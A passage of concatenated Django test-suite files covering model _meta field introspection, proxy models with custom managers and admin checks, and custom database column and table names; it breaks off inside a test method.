            ('friends_base_rel_+', BasePerson),
            ('followers_base', BasePerson),
            ('relating_basepeople', BasePerson),
            ('_relating_basepeople_hidden_+', BasePerson),
            ('friends_inherited_rel_+', None),
            ('followers_concrete', None),
            ('relating_people', None),
            ('_relating_people_hidden_+', None),
        ),
        Relation: (
            ('m2m_abstract_rel', None),
            ('m2m_base_rel', None),
            ('m2m_concrete_rel', None),
        ),
    },
    'get_all_related_many_to_many_local_legacy': {
        BasePerson: [
            'friends_abstract_rel_+',
            'followers_abstract',
            'friends_base_rel_+',
            'followers_base',
            'relating_basepeople',
            '_relating_basepeople_hidden_+',
        ],
        Person: [
            'friends_inherited_rel_+',
            'followers_concrete',
            'relating_people',
            '_relating_people_hidden_+',
        ],
        Relation: [
            'm2m_abstract_rel',
            'm2m_base_rel',
            'm2m_concrete_rel',
        ],
    },
    'private_fields': {
        AbstractPerson: [
            'generic_relation_abstract',
            'content_object_abstract',
        ],
        BasePerson: [
            'generic_relation_base',
            'content_object_base',
            'generic_relation_abstract',
            'content_object_abstract',
        ],
        Person: [
            'content_object_concrete',
            'generic_relation_concrete',
            'generic_relation_base',
            'content_object_base',
            'generic_relation_abstract',
            'content_object_abstract',
        ],
    },
    'labels': {
        AbstractPerson: 'model_meta.AbstractPerson',
        BasePerson: 'model_meta.BasePerson',
        Person: 'model_meta.Person',
        Relating: 'model_meta.Relating',
    },
    'lower_labels': {
        AbstractPerson: 'model_meta.abstractperson',
        BasePerson: 'model_meta.baseperson',
        Person: 'model_meta.person',
        Relating: 'model_meta.relating',
    },
}












from django.apps import apps
from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.core.exceptions import FieldDoesNotExist
from django.db.models.fields import CharField, Field, related
from django.db.models.options import EMPTY_RELATION_TREE, IMMUTABLE_WARNING
from django.test import SimpleTestCase

from .models import (
    AbstractPerson, BasePerson, Child, CommonAncestor, FirstParent, Person,
    ProxyPerson, Relating, Relation, SecondParent,
)
from .results import TEST_RESULTS


class OptionsBaseTests(SimpleTestCase):

    def _map_related_query_names(self, res):
        return tuple((o.name, m) for o, m in res)

    def _map_names(self, res):
        return tuple((f.name, m) for f, m in res)

    def _model(self, current_model, field):
        model = field.model._meta.concrete_model
        return None if model == current_model else model

    def _details(self, current_model, relation):
        direct = isinstance(relation, Field) or isinstance(relation, GenericForeignKey)
        model = relation.model._meta.concrete_model
        if model == current_model:
            model = None

        field = relation if direct else relation.field
        return relation, model, direct, bool(field.many_to_many)  # many_to_many can be None


class GetFieldsTests(OptionsBaseTests):

    def test_get_fields_is_immutable(self):
        msg = IMMUTABLE_WARNING % "get_fields()"
        for _ in range(2):
            # Running unit test twice to ensure both non-cached and cached result
            # are immutable.
            fields = Person._meta.get_fields()
            with self.assertRaisesMessage(AttributeError, msg):
                fields += ["errors"]


class LabelTests(OptionsBaseTests):

    def test_label(self):
        for model, expected_result in TEST_RESULTS['labels'].items():
            self.assertEqual(model._meta.label, expected_result)

    def test_label_lower(self):
        for model, expected_result in TEST_RESULTS['lower_labels'].items():
            self.assertEqual(model._meta.label_lower, expected_result)


class DataTests(OptionsBaseTests):

    def test_fields(self):
        for model, expected_result in TEST_RESULTS['fields'].items():
            fields = model._meta.fields
            self.assertEqual([f.attname for f in fields], expected_result)

    def test_local_fields(self):
        def is_data_field(f):
            return isinstance(f, Field) and not f.many_to_many

        for model, expected_result in TEST_RESULTS['local_fields'].items():
            fields = model._meta.local_fields
            self.assertEqual([f.attname for f in fields], expected_result)
            for f in fields:
                self.assertEqual(f.model, model)
                self.assertTrue(is_data_field(f))

    def test_local_concrete_fields(self):
        for model, expected_result in TEST_RESULTS['local_concrete_fields'].items():
            fields = model._meta.local_concrete_fields
            self.assertEqual([f.attname for f in fields], expected_result)
            for f in fields:
                self.assertIsNotNone(f.column)


class M2MTests(OptionsBaseTests):

    def test_many_to_many(self):
        for model, expected_result in TEST_RESULTS['many_to_many'].items():
            fields = model._meta.many_to_many
            self.assertEqual([f.attname for f in fields], expected_result)
            for f in fields:
                self.assertTrue(f.many_to_many and f.is_relation)

    def test_many_to_many_with_model(self):
        for model, expected_result in TEST_RESULTS['many_to_many_with_model'].items():
            models = [self._model(model, field) for field in model._meta.many_to_many]
            self.assertEqual(models, expected_result)


class RelatedObjectsTests(OptionsBaseTests):
    def key_name(self, r):
        return r[0]

    def test_related_objects(self):
        result_key = 'get_all_related_objects_with_model'
        for model, expected in TEST_RESULTS[result_key].items():
            objects = [
                (field, self._model(model, field))
                for field in model._meta.get_fields()
                if field.auto_created and not field.concrete
            ]
            self.assertEqual(
                sorted(self._map_related_query_names(objects), key=self.key_name),
                sorted(expected, key=self.key_name),
            )

    def test_related_objects_local(self):
        result_key = 'get_all_related_objects_with_model_local'
        for model, expected in TEST_RESULTS[result_key].items():
            objects = [
                (field, self._model(model, field))
                for field in model._meta.get_fields(include_parents=False)
                if field.auto_created and not field.concrete
            ]
            self.assertEqual(
                sorted(self._map_related_query_names(objects), key=self.key_name),
                sorted(expected, key=self.key_name),
            )

    def test_related_objects_include_hidden(self):
        result_key = 'get_all_related_objects_with_model_hidden'
        for model, expected in TEST_RESULTS[result_key].items():
            objects = [
                (field, self._model(model, field))
                for field in model._meta.get_fields(include_hidden=True)
                if field.auto_created and not field.concrete
            ]
            self.assertEqual(
                sorted(self._map_names(objects), key=self.key_name),
                sorted(expected, key=self.key_name)
            )

    def test_related_objects_include_hidden_local_only(self):
        result_key = 'get_all_related_objects_with_model_hidden_local'
        for model, expected in TEST_RESULTS[result_key].items():
            objects = [
                (field, self._model(model, field))
                for field in model._meta.get_fields(include_hidden=True, include_parents=False)
                if field.auto_created and not field.concrete
            ]
            self.assertEqual(
                sorted(self._map_names(objects), key=self.key_name),
                sorted(expected, key=self.key_name)
            )


class PrivateFieldsTests(OptionsBaseTests):

    def test_private_fields(self):
        for model, expected_names in TEST_RESULTS['private_fields'].items():
            objects = model._meta.private_fields
            self.assertEqual(sorted([f.name for f in objects]), sorted(expected_names))


class GetFieldByNameTests(OptionsBaseTests):

    def test_get_data_field(self):
        field_info = self._details(Person, Person._meta.get_field('data_abstract'))
        self.assertEqual(field_info[1:], (BasePerson, True, False))
        self.assertIsInstance(field_info[0], CharField)

    def test_get_m2m_field(self):
        field_info = self._details(Person, Person._meta.get_field('m2m_base'))
        self.assertEqual(field_info[1:], (BasePerson, True, True))
        self.assertIsInstance(field_info[0], related.ManyToManyField)

    def test_get_related_object(self):
        field_info = self._details(Person, Person._meta.get_field('relating_baseperson'))
        self.assertEqual(field_info[1:], (BasePerson, False, False))
        self.assertIsInstance(field_info[0], related.ForeignObjectRel)

    def test_get_related_m2m(self):
        field_info = self._details(Person, Person._meta.get_field('relating_people'))
        self.assertEqual(field_info[1:], (None, False, True))
        self.assertIsInstance(field_info[0], related.ForeignObjectRel)

    def test_get_generic_relation(self):
        field_info = self._details(Person, Person._meta.get_field('generic_relation_base'))
        self.assertEqual(field_info[1:], (None, True, False))
        self.assertIsInstance(field_info[0], GenericRelation)

    def test_get_fields_only_searches_forward_on_apps_not_ready(self):
        opts = Person._meta
        # If apps registry is not ready, get_field() searches over only
        # forward fields.
        opts.apps.models_ready = False
        try:
            # 'data_abstract' is a forward field, and therefore will be found
            self.assertTrue(opts.get_field('data_abstract'))
            msg = (
                "Person has no field named 'relating_baseperson'. The app "
                "cache isn't ready yet, so if this is an auto-created related "
                "field, it won't be available yet."
            )
            # 'data_abstract' is a reverse field, and will raise an exception
            with self.assertRaisesMessage(FieldDoesNotExist, msg):
                opts.get_field('relating_baseperson')
        finally:
            opts.apps.models_ready = True


class RelationTreeTests(SimpleTestCase):
    all_models = (Relation, AbstractPerson, BasePerson, Person, ProxyPerson, Relating)

    def setUp(self):
        apps.clear_cache()

    def test_clear_cache_clears_relation_tree(self):
        # The apps.clear_cache is setUp() should have deleted all trees.
        # Exclude abstract models that are not included in the Apps registry
        # and have no cache.
        all_models_with_cache = (m for m in self.all_models if not m._meta.abstract)
        for m in all_models_with_cache:
            self.assertNotIn('_relation_tree', m._meta.__dict__)

    def test_first_relation_tree_access_populates_all(self):
        # On first access, relation tree should have populated cache.
        self.assertTrue(self.all_models[0]._meta._relation_tree)

        # AbstractPerson does not have any relations, so relation_tree
        # should just return an EMPTY_RELATION_TREE.
        self.assertEqual(AbstractPerson._meta._relation_tree, EMPTY_RELATION_TREE)

        # All the other models should already have their relation tree
        # in the internal __dict__ .
        all_models_but_abstractperson = (m for m in self.all_models if m is not AbstractPerson)
        for m in all_models_but_abstractperson:
            self.assertIn('_relation_tree', m._meta.__dict__)

    def test_relations_related_objects(self):
        # Testing non hidden related objects
        self.assertEqual(
            sorted([field.related_query_name() for field in Relation._meta._relation_tree
                   if not field.remote_field.field.remote_field.is_hidden()]),
            sorted([
                'fk_abstract_rel', 'fk_base_rel', 'fk_concrete_rel', 'fo_abstract_rel',
                'fo_base_rel', 'fo_concrete_rel', 'm2m_abstract_rel',
                'm2m_base_rel', 'm2m_concrete_rel'
            ])
        )
        # Testing hidden related objects
        self.assertEqual(
            sorted([field.related_query_name() for field in BasePerson._meta._relation_tree]),
            sorted([
                '+', '_relating_basepeople_hidden_+', 'BasePerson_following_abstract+',
                'BasePerson_following_abstract+', 'BasePerson_following_base+', 'BasePerson_following_base+',
                'BasePerson_friends_abstract+', 'BasePerson_friends_abstract+', 'BasePerson_friends_base+',
                'BasePerson_friends_base+', 'BasePerson_m2m_abstract+', 'BasePerson_m2m_base+', 'Relating_basepeople+',
                'Relating_basepeople_hidden+', 'followers_abstract', 'followers_base', 'friends_abstract_rel_+',
                'friends_base_rel_+', 'person', 'relating_basepeople', 'relating_baseperson',
            ])
        )
        self.assertEqual([field.related_query_name() for field in AbstractPerson._meta._relation_tree], [])


class ParentListTests(SimpleTestCase):
    def test_get_parent_list(self):
        self.assertEqual(CommonAncestor._meta.get_parent_list(), [])
        self.assertEqual(FirstParent._meta.get_parent_list(), [CommonAncestor])
        self.assertEqual(SecondParent._meta.get_parent_list(), [CommonAncestor])
        self.assertEqual(Child._meta.get_parent_list(), [FirstParent, SecondParent, CommonAncestor])






"""
By specifying the 'proxy' Meta attribute, model subclasses can specify that
they will take data directly from the table of their base class table rather
than using a new table of their own. This allows them to act as simple proxies,
providing a modified interface to the data from the base class.
"""
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


# A couple of managers for testing managing overriding in proxy model cases.


class PersonManager(models.Manager):
    def get_queryset(self):
        return super(PersonManager, self).get_queryset().exclude(name="fred")


class SubManager(models.Manager):
    def get_queryset(self):
        return super(SubManager, self).get_queryset().exclude(name="wilma")


@python_2_unicode_compatible
class Person(models.Model):
    """
    A simple concrete base class.
    """
    name = models.CharField(max_length=50)

    objects = PersonManager()

    def __str__(self):
        return self.name


class Abstract(models.Model):
    """
    A simple abstract base class, to be used for error checking.
    """
    data = models.CharField(max_length=10)

    class Meta:
        abstract = True


class MyPerson(Person):
    """
    A proxy subclass, this should not get a new table. Overrides the default
    manager.
    """
    class Meta:
        proxy = True
        ordering = ["name"]
        permissions = (
            ("display_users", "May display users information"),
        )

    objects = SubManager()
    other = PersonManager()

    def has_special_name(self):
        return self.name.lower() == "special"


class ManagerMixin(models.Model):
    excluder = SubManager()

    class Meta:
        abstract = True


class OtherPerson(Person, ManagerMixin):
    """
    A class with the default manager from Person, plus an secondary manager.
    """
    class Meta:
        proxy = True
        ordering = ["name"]


class StatusPerson(MyPerson):
    """
    A non-proxy subclass of a proxy, it should get a new table.
    """
    status = models.CharField(max_length=80)

    objects = models.Manager()

# We can even have proxies of proxies (and subclass of those).


class MyPersonProxy(MyPerson):
    class Meta:
        proxy = True


class LowerStatusPerson(MyPersonProxy):
    status = models.CharField(max_length=80)

    objects = models.Manager()


@python_2_unicode_compatible
class User(models.Model):
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name


class UserProxy(User):
    class Meta:
        proxy = True


class AnotherUserProxy(User):
    class Meta:
        proxy = True


class UserProxyProxy(UserProxy):
    class Meta:
        proxy = True


class MultiUserProxy(UserProxy, AnotherUserProxy):
    class Meta:
        proxy = True

# We can still use `select_related()` to include related models in our querysets.


class Country(models.Model):
    name = models.CharField(max_length=50)


@python_2_unicode_compatible
class State(models.Model):
    name = models.CharField(max_length=50)
    country = models.ForeignKey(Country, models.CASCADE)

    def __str__(self):
        return self.name


class StateProxy(State):
    class Meta:
        proxy = True

# Proxy models still works with filters (on related fields)
# and select_related, even when mixed with model inheritance


@python_2_unicode_compatible
class BaseUser(models.Model):
    name = models.CharField(max_length=255)

    def __str__(self):
        return ':'.join((self.__class__.__name__, self.name,))


class TrackerUser(BaseUser):
    status = models.CharField(max_length=50)


class ProxyTrackerUser(TrackerUser):
    class Meta:
        proxy = True


@python_2_unicode_compatible
class Issue(models.Model):
    summary = models.CharField(max_length=255)
    assignee = models.ForeignKey(ProxyTrackerUser, models.CASCADE, related_name='issues')

    def __str__(self):
        return ':'.join((self.__class__.__name__, self.summary,))


class Bug(Issue):
    version = models.CharField(max_length=50)
    reporter = models.ForeignKey(BaseUser, models.CASCADE)


class ProxyBug(Bug):
    """
    Proxy of an inherited class
    """
    class Meta:
        proxy = True


class ProxyProxyBug(ProxyBug):
    """
    A proxy of proxy model with related field
    """
    class Meta:
        proxy = True


class Improvement(Issue):
    """
    A model that has relation to a proxy model
    or to a proxy of proxy model
    """
    version = models.CharField(max_length=50)
    reporter = models.ForeignKey(ProxyTrackerUser, models.CASCADE)
    associated_bug = models.ForeignKey(ProxyProxyBug, models.CASCADE)


class ProxyImprovement(Improvement):
    class Meta:
        proxy = True






from django.contrib import admin

from .models import ProxyTrackerUser, TrackerUser

site = admin.AdminSite(name='admin_proxy')
site.register(TrackerUser)
site.register(ProxyTrackerUser)






from django.conf.urls import url

from .admin import site

urlpatterns = [
    url(r'^admin/', site.urls),
]












from __future__ import unicode_literals

from django.contrib import admin
from django.contrib.auth.models import User as AuthUser
from django.contrib.contenttypes.models import ContentType
from django.core import checks, management
from django.db import DEFAULT_DB_ALIAS, models
from django.db.models import signals
from django.test import TestCase, override_settings
from django.test.utils import isolate_apps
from django.urls import reverse

from .admin import admin as force_admin_model_registration  # NOQA
from .models import (
    Abstract, BaseUser, Bug, Country, Improvement, Issue, LowerStatusPerson,
    MultiUserProxy, MyPerson, MyPersonProxy, OtherPerson, Person, ProxyBug,
    ProxyImprovement, ProxyProxyBug, ProxyTrackerUser, State, StateProxy,
    StatusPerson, TrackerUser, User, UserProxy, UserProxyProxy,
)


class ProxyModelTests(TestCase):
    def test_same_manager_queries(self):
        """
        The MyPerson model should be generating the same database queries as
        the Person model (when the same manager is used in each case).
        """
        my_person_sql = MyPerson.other.all().query.get_compiler(
            DEFAULT_DB_ALIAS).as_sql()
        person_sql = Person.objects.order_by("name").query.get_compiler(
            DEFAULT_DB_ALIAS).as_sql()
        self.assertEqual(my_person_sql, person_sql)

    def test_inheritance_new_table(self):
        """
        The StatusPerson models should have its own table (it's using ORM-level
        inheritance).
        """
        sp_sql = StatusPerson.objects.all().query.get_compiler(
            DEFAULT_DB_ALIAS).as_sql()
        p_sql = Person.objects.all().query.get_compiler(
            DEFAULT_DB_ALIAS).as_sql()
        self.assertNotEqual(sp_sql, p_sql)

    def test_basic_proxy(self):
        """
        Creating a Person makes them accessible through the MyPerson proxy.
        """
        person = Person.objects.create(name="Foo McBar")
        self.assertEqual(len(Person.objects.all()), 1)
        self.assertEqual(len(MyPerson.objects.all()), 1)
        self.assertEqual(MyPerson.objects.get(name="Foo McBar").id, person.id)
        self.assertFalse(MyPerson.objects.get(id=person.id).has_special_name())

    def test_no_proxy(self):
        """
        Person is not proxied by StatusPerson subclass.
        """
        Person.objects.create(name="Foo McBar")
        self.assertEqual(list(StatusPerson.objects.all()), [])

    def test_basic_proxy_reverse(self):
        """
        A new MyPerson also shows up as a standard Person.
        """
        MyPerson.objects.create(name="Bazza del Frob")
        self.assertEqual(len(MyPerson.objects.all()), 1)
        self.assertEqual(len(Person.objects.all()), 1)

        LowerStatusPerson.objects.create(status="low", name="homer")
        lsps = [lsp.name for lsp in LowerStatusPerson.objects.all()]
        self.assertEqual(lsps, ["homer"])

    def test_correct_type_proxy_of_proxy(self):
        """
        Correct type when querying a proxy of proxy
        """
        Person.objects.create(name="Foo McBar")
        MyPerson.objects.create(name="Bazza del Frob")
        LowerStatusPerson.objects.create(status="low", name="homer")
        pp = sorted(mpp.name for mpp in MyPersonProxy.objects.all())
        self.assertEqual(pp, ['Bazza del Frob', 'Foo McBar', 'homer'])

    def test_proxy_included_in_ancestors(self):
        """
        Proxy models are included in the ancestors for a model's DoesNotExist
        and MultipleObjectsReturned
        """
        Person.objects.create(name="Foo McBar")
        MyPerson.objects.create(name="Bazza del Frob")
        LowerStatusPerson.objects.create(status="low", name="homer")
        max_id = Person.objects.aggregate(max_id=models.Max('id'))['max_id']

        with self.assertRaises(Person.DoesNotExist):
            MyPersonProxy.objects.get(name='Zathras')
        with self.assertRaises(Person.MultipleObjectsReturned):
            MyPersonProxy.objects.get(id__lt=max_id + 1)
        with self.assertRaises(Person.DoesNotExist):
            StatusPerson.objects.get(name='Zathras')

        StatusPerson.objects.create(name='Bazza Jr.')
        StatusPerson.objects.create(name='Foo Jr.')
        max_id = Person.objects.aggregate(max_id=models.Max('id'))['max_id']

        with self.assertRaises(Person.MultipleObjectsReturned):
            StatusPerson.objects.get(id__lt=max_id + 1)

    def test_abstract_base_with_model_fields(self):
        msg = "Abstract base class containing model fields not permitted for proxy model 'NoAbstract'."
        with self.assertRaisesMessage(TypeError, msg):
            class NoAbstract(Abstract):
                class Meta:
                    proxy = True

    def test_too_many_concrete_classes(self):
        msg = "Proxy model 'TooManyBases' has more than one non-abstract model base class."
        with self.assertRaisesMessage(TypeError, msg):
            class TooManyBases(User, Person):
                class Meta:
                    proxy = True

    def test_no_base_classes(self):
        msg = "Proxy model 'NoBaseClasses' has no non-abstract model base class."
        with self.assertRaisesMessage(TypeError, msg):
            class NoBaseClasses(models.Model):
                class Meta:
                    proxy = True

    @isolate_apps('proxy_models')
    def test_new_fields(self):
        class NoNewFields(Person):
            newfield = models.BooleanField()

            class Meta:
                proxy = True

        errors = NoNewFields.check()
        expected = [
            checks.Error(
                "Proxy model 'NoNewFields' contains model fields.",
                id='models.E017',
            )
        ]
        self.assertEqual(errors, expected)

    @override_settings(TEST_SWAPPABLE_MODEL='proxy_models.AlternateModel')
    @isolate_apps('proxy_models')
    def test_swappable(self):
        class SwappableModel(models.Model):

            class Meta:
                swappable = 'TEST_SWAPPABLE_MODEL'

        class AlternateModel(models.Model):
            pass

        # You can't proxy a swapped model
        with self.assertRaises(TypeError):
            class ProxyModel(SwappableModel):

                class Meta:
                    proxy = True

    def test_myperson_manager(self):
        Person.objects.create(name="fred")
        Person.objects.create(name="wilma")
        Person.objects.create(name="barney")

        resp = [p.name for p in MyPerson.objects.all()]
        self.assertEqual(resp, ['barney', 'fred'])

        resp = [p.name for p in MyPerson._default_manager.all()]
        self.assertEqual(resp, ['barney', 'fred'])

    def test_otherperson_manager(self):
        Person.objects.create(name="fred")
        Person.objects.create(name="wilma")
        Person.objects.create(name="barney")

        resp = [p.name for p in OtherPerson.objects.all()]
        self.assertEqual(resp, ['barney', 'wilma'])

        resp = [p.name for p in OtherPerson.excluder.all()]
        self.assertEqual(resp, ['barney', 'fred'])

        resp = [p.name for p in OtherPerson._default_manager.all()]
        self.assertEqual(resp, ['barney', 'wilma'])

    def test_permissions_created(self):
        from django.contrib.auth.models import Permission
        Permission.objects.get(name="May display users information")

    def test_proxy_model_signals(self):
        """
        Test save signals for proxy models
        """
        output = []

        def make_handler(model, event):
            def _handler(*args, **kwargs):
                output.append('%s %s save' % (model, event))
            return _handler

        h1 = make_handler('MyPerson', 'pre')
        h2 = make_handler('MyPerson', 'post')
        h3 = make_handler('Person', 'pre')
        h4 = make_handler('Person', 'post')

        signals.pre_save.connect(h1, sender=MyPerson)
        signals.post_save.connect(h2, sender=MyPerson)
        signals.pre_save.connect(h3, sender=Person)
        signals.post_save.connect(h4, sender=Person)

        MyPerson.objects.create(name="dino")
        self.assertEqual(output, [
            'MyPerson pre save',
            'MyPerson post save'
        ])

        output = []

        h5 = make_handler('MyPersonProxy', 'pre')
        h6 = make_handler('MyPersonProxy', 'post')

        signals.pre_save.connect(h5, sender=MyPersonProxy)
        signals.post_save.connect(h6, sender=MyPersonProxy)

        MyPersonProxy.objects.create(name="pebbles")

        self.assertEqual(output, [
            'MyPersonProxy pre save',
            'MyPersonProxy post save'
        ])

        signals.pre_save.disconnect(h1, sender=MyPerson)
        signals.post_save.disconnect(h2, sender=MyPerson)
        signals.pre_save.disconnect(h3, sender=Person)
        signals.post_save.disconnect(h4, sender=Person)
        signals.pre_save.disconnect(h5, sender=MyPersonProxy)
        signals.post_save.disconnect(h6, sender=MyPersonProxy)

    def test_content_type(self):
        ctype = ContentType.objects.get_for_model
        self.assertIs(ctype(Person), ctype(OtherPerson))

    def test_user_proxy_models(self):
        User.objects.create(name='Bruce')

        resp = [u.name for u in User.objects.all()]
        self.assertEqual(resp, ['Bruce'])

        resp = [u.name for u in UserProxy.objects.all()]
        self.assertEqual(resp, ['Bruce'])

        resp = [u.name for u in UserProxyProxy.objects.all()]
        self.assertEqual(resp, ['Bruce'])

        self.assertEqual([u.name for u in MultiUserProxy.objects.all()], ['Bruce'])

    def test_proxy_for_model(self):
        self.assertEqual(UserProxy, UserProxyProxy._meta.proxy_for_model)

    def test_concrete_model(self):
        self.assertEqual(User, UserProxyProxy._meta.concrete_model)

    def test_proxy_delete(self):
        """
        Proxy objects can be deleted
        """
        User.objects.create(name='Bruce')
        u2 = UserProxy.objects.create(name='George')

        resp = [u.name for u in UserProxy.objects.all()]
        self.assertEqual(resp, ['Bruce', 'George'])

        u2.delete()

        resp = [u.name for u in UserProxy.objects.all()]
        self.assertEqual(resp, ['Bruce'])

    def test_select_related(self):
        """
        We can still use `select_related()` to include related models in our
        querysets.
        """
        country = Country.objects.create(name='Australia')
        State.objects.create(name='New South Wales', country=country)

        resp = [s.name for s in State.objects.select_related()]
        self.assertEqual(resp, ['New South Wales'])

        resp = [s.name for s in StateProxy.objects.select_related()]
        self.assertEqual(resp, ['New South Wales'])

        self.assertEqual(StateProxy.objects.get(name='New South Wales').name, 'New South Wales')

        resp = StateProxy.objects.select_related().get(name='New South Wales')
        self.assertEqual(resp.name, 'New South Wales')

    def test_filter_proxy_relation_reverse(self):
        tu = TrackerUser.objects.create(name='Contributor', status='contrib')
        ptu = ProxyTrackerUser.objects.get()
        issue = Issue.objects.create(assignee=tu)
        self.assertEqual(tu.issues.get(), issue)
        self.assertEqual(ptu.issues.get(), issue)
        self.assertQuerysetEqual(
            TrackerUser.objects.filter(issues=issue),
            [tu], lambda x: x
        )
        self.assertQuerysetEqual(
            ProxyTrackerUser.objects.filter(issues=issue),
            [ptu], lambda x: x
        )

    def test_proxy_bug(self):
        contributor = ProxyTrackerUser.objects.create(name='Contributor', status='contrib')
        someone = BaseUser.objects.create(name='Someone')
        Bug.objects.create(summary='fix this', version='1.1beta', assignee=contributor, reporter=someone)
        pcontributor = ProxyTrackerUser.objects.create(name='OtherContributor', status='proxy')
        Improvement.objects.create(
            summary='improve that', version='1.1beta',
            assignee=contributor, reporter=pcontributor,
            associated_bug=ProxyProxyBug.objects.all()[0],
        )

        # Related field filter on proxy
        resp = ProxyBug.objects.get(version__icontains='beta')
        self.assertEqual(repr(resp), '<ProxyBug: ProxyBug:fix this>')

        # Select related + filter on proxy
        resp = ProxyBug.objects.select_related().get(version__icontains='beta')
        self.assertEqual(repr(resp), '<ProxyBug: ProxyBug:fix this>')

        # Proxy of proxy, select_related + filter
        resp = ProxyProxyBug.objects.select_related().get(
            version__icontains='beta'
        )
        self.assertEqual(repr(resp), '<ProxyProxyBug: ProxyProxyBug:fix this>')

        # Select related + filter on a related proxy field
        resp = ProxyImprovement.objects.select_related().get(
            reporter__name__icontains='butor'
        )
        self.assertEqual(
            repr(resp),
            '<ProxyImprovement: ProxyImprovement:improve that>'
        )

        # Select related + filter on a related proxy of proxy field
        resp = ProxyImprovement.objects.select_related().get(
            associated_bug__summary__icontains='fix'
        )
        self.assertEqual(
            repr(resp),
            '<ProxyImprovement: ProxyImprovement:improve that>'
        )

    def test_proxy_load_from_fixture(self):
        management.call_command('loaddata', 'mypeople.json', verbosity=0)
        p = MyPerson.objects.get(pk=100)
        self.assertEqual(p.name, 'Elvis Presley')

    def test_eq(self):
        self.assertEqual(MyPerson(id=100), Person(id=100))


@override_settings(ROOT_URLCONF='proxy_models.urls')
class ProxyModelAdminTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = AuthUser.objects.create(is_superuser=True, is_staff=True)
        cls.tu1 = ProxyTrackerUser.objects.create(name='Django Pony', status='emperor')
        cls.i1 = Issue.objects.create(summary="Pony's Issue", assignee=cls.tu1)

    def test_cascade_delete_proxy_model_admin_warning(self):
        """
        Test if admin gives warning about cascade deleting models referenced
        to concrete model by deleting proxy object.
        """
        tracker_user = TrackerUser.objects.all()[0]
        base_user = BaseUser.objects.all()[0]
        issue = Issue.objects.all()[0]
        with self.assertNumQueries(6):
            collector = admin.utils.NestedObjects('default')
            collector.collect(ProxyTrackerUser.objects.all())
        self.assertIn(tracker_user, collector.edges.get(None, ()))
        self.assertIn(base_user, collector.edges.get(None, ()))
        self.assertIn(issue, collector.edges.get(tracker_user, ()))

    def test_delete_str_in_model_admin(self):
        """
        Test if the admin delete page shows the correct string representation
        for a proxy model.
        """
        user = TrackerUser.objects.get(name='Django Pony')
        proxy = ProxyTrackerUser.objects.get(name='Django Pony')

        user_str = 'Tracker user: <a href="%s">%s</a>' % (
            reverse('admin_proxy:proxy_models_trackeruser_change', args=(user.pk,)), user
        )
        proxy_str = 'Proxy tracker user: <a href="%s">%s</a>' % (
            reverse('admin_proxy:proxy_models_proxytrackeruser_change', args=(proxy.pk,)), proxy
        )

        self.client.force_login(self.superuser)
        response = self.client.get(reverse('admin_proxy:proxy_models_trackeruser_delete', args=(user.pk,)))
        delete_str = response.context['deleted_objects'][0]
        self.assertEqual(delete_str, user_str)
        response = self.client.get(reverse('admin_proxy:proxy_models_proxytrackeruser_delete', args=(proxy.pk,)))
        delete_str = response.context['deleted_objects'][0]
        self.assertEqual(delete_str, proxy_str)






"""
Custom column/table names

If your database column name is different than your model attribute, use the
``db_column`` parameter. Note that you'll use the field's name, not its column
name, in API usage.

If your database table name is different than your model name, use the
``db_table`` Meta attribute. This has no effect on the API used to
query the database.

If you need to use a table name for a many-to-many relationship that differs
from the default generated name, use the ``db_table`` parameter on the
``ManyToManyField``. This has no effect on the API for querying the database.

"""

from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Author(models.Model):
    Author_ID = models.AutoField(primary_key=True, db_column='Author ID')
    first_name = models.CharField(max_length=30, db_column='firstname')
    last_name = models.CharField(max_length=30, db_column='last')

    def __str__(self):
        return '%s %s' % (self.first_name, self.last_name)

    class Meta:
        db_table = 'my_author_table'
        ordering = ('last_name', 'first_name')


@python_2_unicode_compatible
class Article(models.Model):
    Article_ID = models.AutoField(primary_key=True, db_column='Article ID')
    headline = models.CharField(max_length=100)
    authors = models.ManyToManyField(Author, db_table='my_m2m_table')
    primary_author = models.ForeignKey(
        Author,
        models.SET_NULL,
        db_column='Author ID',
        related_name='primary_set',
        null=True,
    )

    def __str__(self):
        return self.headline

    class Meta:
        ordering = ('headline',)












from __future__ import unicode_literals

from django.core.exceptions import FieldError
from django.test import TestCase
from django.utils import six

from .models import Article, Author


class CustomColumnsTests(TestCase):

    def setUp(self):
        self.a1 = Author.objects.create(first_name="John", last_name="Smith")
        self.a2 = Author.objects.create(first_name="Peter", last_name="Jones")
        self.authors = [self.a1, self.a2]

        self.article = Article.objects.create(headline="Django lets you build Web apps easily", primary_author=self.a1)
        self.article.authors.set(self.authors)

    def test_query_all_available_authors(self):
        self.assertQuerysetEqual(
            Author.objects.all(), [
                "Peter Jones", "John Smith",
            ],
            six.text_type
        )

    def test_get_first_name(self):
        self.assertEqual(
            Author.objects.get(first_name__exact="John"),
            self.a1,
        )

    def test_filter_first_name(self):
        self.assertQuerysetEqual(
            Author.objects.filter(first_name__exact="John"), [
                "John Smith",
            ],
            six.text_type
        )

    def test_field_error(self):
        with self.assertRaises(FieldError):
            Author.objects.filter(firstname__exact="John")

    def test_attribute_error(self):
        with self.assertRaises(AttributeError):
            self.a1.firstname

        with self.assertRaises(AttributeError):
            self.a1.last

    def test_get_all_authors_for_an_article(self):
        self.assertQuerysetEqual(
            self.article.authors.all(), [
                "Peter Jones",
                "John Smith",
            ],
            six.text_type
        )

    def test_get_all_articles_for_an_author(self):
        self.assertQuerysetEqual(
            self.a1.article_set.all(), [
                "Django lets you build Web apps easily",
            ],
            lambda a: a.headline
        )

    def test_get_author_m2m_relation(self):
        self.assertQuerysetEqual(
            self.article.authors.filter(last_name='Jones'), [
                "Peter Jones"
            ],
            six.text_type
        )

    def test_author_querying(self):
        self.assertQuerysetEqual(
            Author.objects.all().order_by('last_name'),
            ['<Author: Peter Jones>', '<Author: John Smith>']
        )

    def test_author_filtering(self):
        self.assertQuerysetEqual(
            Author.objects.filter(first_name__exact='John'),
            ['<Author: John Smith>']
        )

    def test_author_get(self):
        self.assertEqual(self.a1, Author.objects.get(first_name__exact='John'))

    def test_filter_on_nonexistent_field(self):
        msg = (
            "Cannot resolve keyword 'firstname' into field. Choices are: "
            "Author_ID, article, first_name, last_name, primary_set"
        )
        with self.assertRaisesMessage(FieldError, msg):
            Author.objects.filter(firstname__exact='John')

    def test_author_get_attributes(self):
